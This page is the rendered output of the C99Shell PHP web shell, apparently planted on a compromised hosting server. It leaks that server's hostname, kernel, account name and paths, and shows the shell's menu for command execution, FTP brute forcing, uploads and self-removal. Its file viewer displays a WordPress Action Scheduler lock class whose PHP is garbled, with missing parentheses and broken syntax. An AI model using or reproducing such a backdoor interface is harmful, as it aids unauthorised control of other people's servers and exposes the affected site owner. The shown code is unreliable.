!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/action-scheduler/classes/   drwxr-xr-x
Free 293.48 GB of 429.69 GB (68.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActionScheduler_OptionLock.php (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Provide a way to set simple transient locks to block behaviour
 * for up-to a given duration.
 *
 * Class ActionScheduler_OptionLock
 * @since 3.0.0
 */
class ActionScheduler_OptionLock extends ActionScheduler_Lock {

    
/**
     * Set a lock using options for a given amount of time (60 seconds by default).
     *
     * Using an autoloaded option avoids running database queries or other resource intensive tasks
     * on frequently triggered hooks, like 'init' or 'shutdown'.
     *
     * For example, ActionScheduler_QueueRunner->maybe_dispatch_async_request() uses a lock to avoid
     * calling ActionScheduler_QueueRunner->has_maximum_concurrent_batches() every time the 'shutdown',
     * hook is triggered, because that method calls ActionScheduler_QueueRunner->store->get_claim_count()
     * to find the current number of claims in the database.
     *
     * @param string $lock_type A string to identify different lock types.
     * @bool True if lock value has changed, false if not or if set failed.
     */
    
public function set$lock_type ) {
        return 
update_option$this->get_key$lock_type ), time() + $this->get_duration$lock_type ) );
    }

    
/**
     * If a lock is set, return the timestamp it was set to expiry.
     *
     * @param string $lock_type A string to identify different lock types.
     * @return bool|int False if no lock is set, otherwise the timestamp for when the lock is set to expire.
     */
    
public function get_expiration$lock_type ) {
        return 
get_option$this->get_key$lock_type ) );
    }

    
/**
     * Get the key to use for storing the lock in the transient
     *
     * @param string $lock_type A string to identify different lock types.
     * @return string
     */
    
protected function get_key$lock_type ) {
        return 
sprintf'action_scheduler_lock_%s'$lock_type );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0974 ]--